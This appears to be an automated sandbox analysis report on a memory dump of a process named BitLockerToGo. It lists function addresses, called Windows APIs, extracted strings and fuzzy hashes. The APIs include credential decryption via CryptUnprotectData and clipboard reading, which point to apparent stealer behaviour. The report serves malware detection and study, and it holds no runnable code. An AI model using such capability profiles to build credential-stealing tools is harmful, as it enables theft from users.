Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: WTUJ
API String ID: 2994545307-1307471860
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Uniqueness

Uniqueness Score: -1.00%

Function 0065C6DA Relevance: 3.5, APIs: 2, Instructions: 487COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9e45a7572a2113fa73c563f5acd03bf1b97ab2323c06d2608c63d9e34757fa8
Instruction ID: 5532483639319943a215339174a4a19206512b820b869af3816a9b4091a8aa7a
Opcode Fuzzy Hash: f9e45a7572a2113fa73c563f5acd03bf1b97ab2323c06d2608c63d9e34757fa8
Instruction Fuzzy Hash: 31F19971618311DFD728CF18C890B6AB7E2FF89715F198A2CE8969B390D734D945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0067AD10 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

@, xrefs: 0067ADCD
WTUJ, xrefs: 0067AE48

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: @$WTUJ
API String ID: 0-3866202851
Opcode ID: e63be41b0a716d07eeeb0c560c1416a4d717951125b824654224ca5dbd27e547
Instruction ID: 2d830fd645c67a7d2fdaa774dca4104e2a38d8e5ef2d1736a5449e8686fac074
Opcode Fuzzy Hash: e63be41b0a716d07eeeb0c560c1416a4d717951125b824654224ca5dbd27e547
Instruction Fuzzy Hash: 7851A5B1508300AFD714CF54C895BAEBBE2FF85318F19891DF5898B291E735E944DB82

Uniqueness

Uniqueness Score: -1.00%

Function 00665858 Relevance: 2.6, Strings: 2, Instructions: 142COMMON

Download Yara Rule

Strings

1>7m, xrefs: 0066586B
' !", xrefs: 00665961

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ' !"$1>7m
API String ID: 0-728132812
Opcode ID: 1e838ecce2d55c4cc1bcc14448ada2ea0d35076cddabe2117efc79ebcc855709
Instruction ID: a63a0accd6daaaf6891af64ecbd6c68190e484a1eb92fc511e22651fe585fc05
Opcode Fuzzy Hash: 1e838ecce2d55c4cc1bcc14448ada2ea0d35076cddabe2117efc79ebcc855709
Instruction Fuzzy Hash: 2A516E74555F80CBE32A8B34C4A5BA3BBE2BB46304F580A5DD5E74B791C336A406CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0067B7C0 Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

WTUJ, xrefs: 0067B826

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: WTUJ
API String ID: 2994545307-1307471860
Opcode ID: 46582fe66999bb2e2c3d99923422a23db004149544c55c9077acec36e781f241
Instruction ID: 9f0fa13995db7d22944fb235fc7079296197085fa75c7ffdcd93317eefc733e0
Opcode Fuzzy Hash: 46582fe66999bb2e2c3d99923422a23db004149544c55c9077acec36e781f241
Instruction Fuzzy Hash: E491AC716083028FD714DF18C890BABB7E2FF84754F29995CE9899B360D731AC11CB92

Uniqueness

Uniqueness Score: -1.00%

Function 006550A2 Relevance: 1.5, APIs: 1, Instructions: 27encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 006550DF

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: c710c6c2d3e0e8996633b3b2f44f494cc40d2958097cb770e7520f62f0278c96
Instruction ID: cf0b1aaa515471e7847a287711bb4d784d29b10f0683fa5d9c427188dde98d78
Opcode Fuzzy Hash: c710c6c2d3e0e8996633b3b2f44f494cc40d2958097cb770e7520f62f0278c96
Instruction Fuzzy Hash: 4EE03976144741AFE318DB60DC62B6A73E6AB88240F14891CE6A2C32A1EA31A904CF53

Uniqueness

Uniqueness Score: -1.00%

Function 0067C210 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

WTUJ, xrefs: 0067C2A8

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: WTUJ
API String ID: 2994545307-1307471860
Opcode ID: 8a26c06daec419712f7ff32329cd216a4cd4c11b8ecc85eb0a8c52c1f99a1b45
Instruction ID: 1a32779fb89a023c71191e528ad00f65a39655a64a0008246b84b5e3b6165419
Opcode Fuzzy Hash: 8a26c06daec419712f7ff32329cd216a4cd4c11b8ecc85eb0a8c52c1f99a1b45
Instruction Fuzzy Hash: 08816B71608301ABD718CF14C8A0B6BB7E2EBC4724F18CA1DE9999B395D734ED45DB82

Uniqueness

Uniqueness Score: -1.00%

Function 0065FD60 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 81b19869e34a6235816f07c29f8a1b661b89cb1213fe0eb0bda78164c6dab556
Instruction ID: e13e34079b7e80b696346ea872fc166369d2e5332a0be8ad6cdb397adca51cbe
Opcode Fuzzy Hash: 81b19869e34a6235816f07c29f8a1b661b89cb1213fe0eb0bda78164c6dab556
Instruction Fuzzy Hash: A1C1CFB16083029BE714CF18C89076BBBE3EF95354F28492DF88587391E375D949CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0065B580 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7055f77f2d0496ab1eb6c961504c60660bc15a87999f3c4c77363ad568a896f2
Instruction ID: 62f50ab98ad22786e358a3727bc04f573591012023d5d0070c8828da5c0e63b3
Opcode Fuzzy Hash: 7055f77f2d0496ab1eb6c961504c60660bc15a87999f3c4c77363ad568a896f2
Instruction Fuzzy Hash: 5791D4B56042018BDB14DF18CC91BBB77E2FF95315F18696CE8828B3A1E734E908C792

Uniqueness

Uniqueness Score: -1.00%

Function 00678C73 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ccdcb73577a23a37e31cef5e3697322df2b24422fb2eb61d3d7211854c3042b
Instruction ID: fc8b3b975ef2d79e6ef6bcbce65aacfd54393876574acf8f4b0f7c2a2cca8fb2
Opcode Fuzzy Hash: 1ccdcb73577a23a37e31cef5e3697322df2b24422fb2eb61d3d7211854c3042b
Instruction Fuzzy Hash: 03212374644B008FE728CF14C4A4B72B7A3EF99304F189A4DC89A07B96CB79E805CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0066E279 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50ab6bcd1303ef38c4c18d1480e51aee68b0dd59635cb55220b8ffdd7fb3b056
Instruction ID: 4bff0ea169f71ef56245fec6409a3f2e1781143fd9e81b142541170cc1b79346
Opcode Fuzzy Hash: 50ab6bcd1303ef38c4c18d1480e51aee68b0dd59635cb55220b8ffdd7fb3b056
Instruction Fuzzy Hash: EFF0F270209741CFD324EF28D884B5BBBE2AB88348F018C1DE8C9C7250CB759548CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0065CFF0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0065D113
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0065D142

Strings

.mlo, xrefs: 0065D170
(U6W, xrefs: 0065D160
"Y'[, xrefs: 0065D1E9, 0065D1ED
*A8C, xrefs: 0065D1A8
-Q"S, xrefs: 0065D168

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: "Y'[$(U6W$*A8C$-Q"S$.mlo
API String ID: 237503144-3377708964
Opcode ID: a6bce49ae0d206d805544f4f1bffa0de213ec1d5c257cb27bd15964292044948
Instruction ID: ac20992ab03ae1e3c169263f360f36ad2d1d84b67def15f0f35466993c1dc4d4
Opcode Fuzzy Hash: a6bce49ae0d206d805544f4f1bffa0de213ec1d5c257cb27bd15964292044948
Instruction Fuzzy Hash: D65177B1208341AFD314CF11C890B5BBBA6EBC5794F148A2DF8A54B381D771DA4ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 00648D30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 00648DA2

Strings

of system that leetspeak, reflection primarily the of other modified on glyphs resemblance is replacements similarity or eleet the ways used character a often spellings on play uses their via internet. or it in, xrefs: 00648D63

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: ExitProcess
String ID: of system that leetspeak, reflection primarily the of other modified on glyphs resemblance is replacements similarity or eleet the ways used character a often spellings on play uses their via internet. or it in
API String ID: 621844428-2804141084
Opcode ID: 3c3314fb0b914cd6fda55985b4936b6f1714c22540ad3e9ec424f73af391ee3b
Instruction ID: 069176551ddddce3e260e3880664870a721cb5bfaf10d230d6b336aa58fa5dc4
Opcode Fuzzy Hash: 3c3314fb0b914cd6fda55985b4936b6f1714c22540ad3e9ec424f73af391ee3b
Instruction Fuzzy Hash: A1F0BB70C0A200DEC7943BB4AD0666D37AB6F31310F14582EFC9A932D1EE2444465667

Uniqueness

Uniqueness Score: -1.00%

Function 00677577 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 118libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0067775B

Strings

Kg, xrefs: 00677660

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: Kg
API String ID: 1029625771-732058120
Opcode ID: 20e5303e86664e32d72cef54637931fbe4d32d49520e2f0014b163fe11148a20
Instruction ID: 2552f5bd97c40fc7439ddd1ea62f42374bd7f0c14a3833d8e83bb489a4aeb6e2
Opcode Fuzzy Hash: 20e5303e86664e32d72cef54637931fbe4d32d49520e2f0014b163fe11148a20
Instruction Fuzzy Hash: 25415CB4518301AFD304DF64DC5051EBBA3FBD5315F18CA1EE8A92A355E339C9069B87

Uniqueness

Uniqueness Score: -1.00%

Function 00677D72 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00677DF5

Strings

f543, xrefs: 00677DB8

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID: f543
API String ID: 1279760036-424919641
Opcode ID: 4fbce3ffa1a330e79cabffc5ec2106093c0b95e57f508044c0eae4119b9e6a00
Instruction ID: e58bcf7979081af3c90d0ce898c3eba423e64ea80ff9308eebb520bbf9a873d8
Opcode Fuzzy Hash: 4fbce3ffa1a330e79cabffc5ec2106093c0b95e57f508044c0eae4119b9e6a00
Instruction Fuzzy Hash: ED0113352083419FE710CF54D49475FFBA2EBC4724F24CA59E8A817685C3B1E9098BD2

Uniqueness

Uniqueness Score: -1.00%

Function 0065C700 Relevance: 3.2, APIs: 2, Instructions: 215COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0065C810
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0065C83B

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 459412547a5dca7a7003ec1b087abe78ffdb1bd50097594ce6b6e8c9f2dd6716
Instruction ID: 844595b3248079c2d08efe34619276632e844c4a69243c739aa9674bb5ff330f
Opcode Fuzzy Hash: 459412547a5dca7a7003ec1b087abe78ffdb1bd50097594ce6b6e8c9f2dd6716
Instruction Fuzzy Hash: 00718B716083518FE724CF14C8A0BABB7E2EFCA718F154A1CE8D65B381D7749905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00656DD0 Relevance: 3.1, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00656E1A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00656E48

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 4fbbcf5e1212181f5abe189796b305a755fbdb398f0ae1862205ba910d123e1f
Instruction ID: 80983caee412fc37e702daa7c16c346ddc85fb52f444277787b522f8af2c8231
Opcode Fuzzy Hash: 4fbbcf5e1212181f5abe189796b305a755fbdb398f0ae1862205ba910d123e1f
Instruction Fuzzy Hash: DB110E761542047FD7109B24DC86FB733AEDB81774F484628F965C72D0EA30A80882B1

Uniqueness

Uniqueness Score: -1.00%

Function 00666683 Relevance: 1.9, APIs: 1, Instructions: 411COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80215c1674ea9e7b327798692abe8c46a8d5c679e2d0be9aa93aa2d707eae68d
Instruction ID: a720745f69c20e98dccfdffbe45645cbed9539bca98d68140b092e37d1c4034f
Opcode Fuzzy Hash: 80215c1674ea9e7b327798692abe8c46a8d5c679e2d0be9aa93aa2d707eae68d
Instruction Fuzzy Hash: 5FE15C70505B818BE7268F35C464BE7BBE2BF16304F08499DD4EB9B792C77AA406CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00666771 Relevance: 1.8, APIs: 1, Instructions: 345COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 006668BF

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 11011e03d6c43f0bbc067ba1a1757bc58d66f945433a1559e2a2705bf2cf5598
Instruction ID: e2a3648169ab3ae0963d6566b8f0fc504b72680f819606670e547514d94a8235
Opcode Fuzzy Hash: 11011e03d6c43f0bbc067ba1a1757bc58d66f945433a1559e2a2705bf2cf5598
Instruction Fuzzy Hash: 9DC16A70505B818BE726CF35C454BE7BBE2AF16304F48495DD4EB8B792C73AA406CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00677989 Relevance: 1.6, APIs: 1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90777e46542e9cbc9a0f41beb30cea555c43a9c03f602c7d2bcd8aa5d4d81a2d
Instruction ID: 7e77b65e2389f7e4d0757a1cbaa1688f683db99d62960411f71561db8edeed6d
Opcode Fuzzy Hash: 90777e46542e9cbc9a0f41beb30cea555c43a9c03f602c7d2bcd8aa5d4d81a2d
Instruction Fuzzy Hash: B531AFB420D341AFE318CF05D4A461BBBE2AF84358F209A1DE9995B641C738D606CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 0066A23C Relevance: 1.6, APIs: 1, Instructions: 88memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0066A31A

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 01372f1618b18ff84d6bb052271b29d96679c6ca8c48c4dd70f64e58512b3411
Instruction ID: c380397c501b5e83cd9bbe7f120dc2c3787ebaa5564aa5aa2f3c21e1c0cf5e80
Opcode Fuzzy Hash: 01372f1618b18ff84d6bb052271b29d96679c6ca8c48c4dd70f64e58512b3411
Instruction Fuzzy Hash: C741D570108B818ED315CF29C498746BFE2AF56318F28868DD0994F3A2C377E54BCB92

Uniqueness

Uniqueness Score: -1.00%

Function 00675CA1 Relevance: 1.6, APIs: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 00675D34

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 18c0fc235db801709a9563b4df56fee7bc788bd63e23f8596fee8c1ec0e4b166
Instruction ID: ccdc23cb3f079ec75ffde9ee8a93e8c4c77a3887a3ca8b07167de9304d007893
Opcode Fuzzy Hash: 18c0fc235db801709a9563b4df56fee7bc788bd63e23f8596fee8c1ec0e4b166
Instruction Fuzzy Hash: B011B975A097808FE7178B21D8906857B72EF5372475D86DFC4958BAA3C238680FCB61

Uniqueness

Uniqueness Score: -1.00%

Function 00675B80 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,006498C1), ref: 00675C2E

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5d63fc47b37215f851f8b4e3a2cc37027319525296c34ebd26f353a753898d91
Instruction ID: f0044130423773139d7be364d23ea41c9ee71d3da4c8a7caad09942b87e323e6
Opcode Fuzzy Hash: 5d63fc47b37215f851f8b4e3a2cc37027319525296c34ebd26f353a753898d91
Instruction Fuzzy Hash: B9116A746083019BD708CF14C8A076FBBA2EF85728F148A5CE8AA1B781D37599048BC6

Uniqueness

Uniqueness Score: -1.00%

Function 006778CB Relevance: 1.5, APIs: 1, Instructions: 47libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00677968

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4de04a2c888535de2547b835475627d91c687178a43def896170890713a039ae
Instruction ID: 5bcfdf603f573bbe20459721008243b9f1e5fa88b0b78708c26f48ea3b3ead56
Opcode Fuzzy Hash: 4de04a2c888535de2547b835475627d91c687178a43def896170890713a039ae
Instruction Fuzzy Hash: 4811B0B4209341AFE318CF05D4A0A1BBBE2AF84358F209A0DE9995B651C734D606CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00673E1D Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00673E4C

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 0a7291363e29c38fe08fe6663e7acb8f0af9b38273441be21178cd5d99381b46
Instruction ID: 46b95b32184f0629ddac4e6d60c50c0a4d6cdb9c037c50321ac4ab257c7811f8
Opcode Fuzzy Hash: 0a7291363e29c38fe08fe6663e7acb8f0af9b38273441be21178cd5d99381b46
Instruction Fuzzy Hash: 8BE0D8303993813FE32A4760EC63F7A3B368B43754F19105BF646EA1E2C5442E24976A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0066E700 Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 131clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0066E728
OpenClipboard.USER32 ref: 0066E73A
GetClipboardData.USER32 ref: 0066E753
GlobalLock.KERNEL32 ref: 0066E782
GlobalUnlock.KERNEL32 ref: 0066E8A4
CloseClipboard.USER32 ref: 0066E8AF

Strings

;, xrefs: 0066E802
Z, xrefs: 0066E7F3
+, xrefs: 0066E7DA
6, xrefs: 0066E807
_, xrefs: 0066E7E9
4, xrefs: 0066E7FD
-, xrefs: 0066E7EE
,, xrefs: 0066E7E4
U, xrefs: 0066E7D0
s, xrefs: 0066E7CB
S, xrefs: 0066E7D5
X, xrefs: 0066E7DF

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$Global$CloseDataInfoLockOpenUnlockWindow
String ID: +$,$-$4$6$;$S$U$X$Z$_$s
API String ID: 3829817484-1169233219
Opcode ID: c334fb6c807bc25ad171fc5ad0b2292fc2d6215a854c7e44e6f7378f1dc3e943
Instruction ID: 6066c4b595c32f6ce9eaec1ffcf6614b518c3c0a85829a7ce94e34af00228a86
Opcode Fuzzy Hash: c334fb6c807bc25ad171fc5ad0b2292fc2d6215a854c7e44e6f7378f1dc3e943
Instruction Fuzzy Hash: 8851597580C380DBD740DF28C48875EBFE2AB95358F540A5EF8D957282C27AD949CB93

Uniqueness

Uniqueness Score: -1.00%

Function 00665705 Relevance: 12.1, Strings: 9, Instructions: 805COMMON

Download Yara Rule

Strings

aJ,u, xrefs: 006663E7
:"hJ, xrefs: 00665E54
micb, xrefs: 006663F5
' !", xrefs: 00666058
hFtN, xrefs: 00665E4A
atyc, xrefs: 006663EE
' !", xrefs: 0066620E
u|p{, xrefs: 006663E0
<+?2, xrefs: 00665CCA

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: ' !"$' !"$:"hJ$<+?2$aJ,u$atyc$hFtN$micb$u|p{
API String ID: 2994545307-1152441977
Opcode ID: 2ca0a724527f17619e0a77810fac7adde90839d75f1f41902482941e0c014591
Instruction ID: e1dc166cb537249430e93b8d62efd95fba495f9a990c79970023611c1f350bfa
Opcode Fuzzy Hash: 2ca0a724527f17619e0a77810fac7adde90839d75f1f41902482941e0c014591
Instruction Fuzzy Hash: 4852AD70104B418BE339CF29C4947A6BBE2FF56308F144A6DD5E74B792C77AA80ACB54

Uniqueness

Uniqueness Score: -1.00%

Function 00641730 Relevance: 10.6, Strings: 8, Instructions: 593COMMON

Download Yara Rule

Strings

., xrefs: 006417DC
., xrefs: 00641801
[, xrefs: 00641999
true, xrefs: 006418AA
null, xrefs: 006419EE
{, xrefs: 00641AA5
false, xrefs: 006418C2
0, xrefs: 006417D6

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: .$.$0$[$false$null$true${
API String ID: 0-1639024219
Opcode ID: bcf9378acd4f1be95d402141c9946016672ca63c2a44c384b20412a305d886e3
Instruction ID: 2b0fcade442e5afe6fd7edabe0faefb58164e38a5242f51ae6bc1775d1f373ae
Opcode Fuzzy Hash: bcf9378acd4f1be95d402141c9946016672ca63c2a44c384b20412a305d886e3
Instruction Fuzzy Hash: 281205B4A0030A9FE7506F24DC457AA7BE6AF42348F18453CE8858F393EB35D985CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00665AAD Relevance: 5.4, Strings: 4, Instructions: 433COMMON

Download Yara Rule

Strings

:"hJ, xrefs: 00665E54
' !", xrefs: 00666058
hFtN, xrefs: 00665E4A
<+?2, xrefs: 00665CCA

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ' !"$:"hJ$<+?2$hFtN
API String ID: 0-963158296
Opcode ID: 60d3590c0072a53fa8b9943bee97be24987f9448dc76f4dce4dbc3f3b5d590f4
Instruction ID: 5696e48a82be1ed9c438948b0b19a39828d94b1036a1e2ae81d2d31476433f26
Opcode Fuzzy Hash: 60d3590c0072a53fa8b9943bee97be24987f9448dc76f4dce4dbc3f3b5d590f4
Instruction Fuzzy Hash: C2E18B70505F518BE3298F39C0A47A3BBE2BF56304F548A6DD4EB4B795C77AA406CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00665B47 Relevance: 5.4, Strings: 4, Instructions: 433COMMON

Download Yara Rule

Strings

:"hJ, xrefs: 00665E54
' !", xrefs: 00666058
hFtN, xrefs: 00665E4A
<+?2, xrefs: 00665CCA

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ' !"$:"hJ$<+?2$hFtN
API String ID: 0-963158296
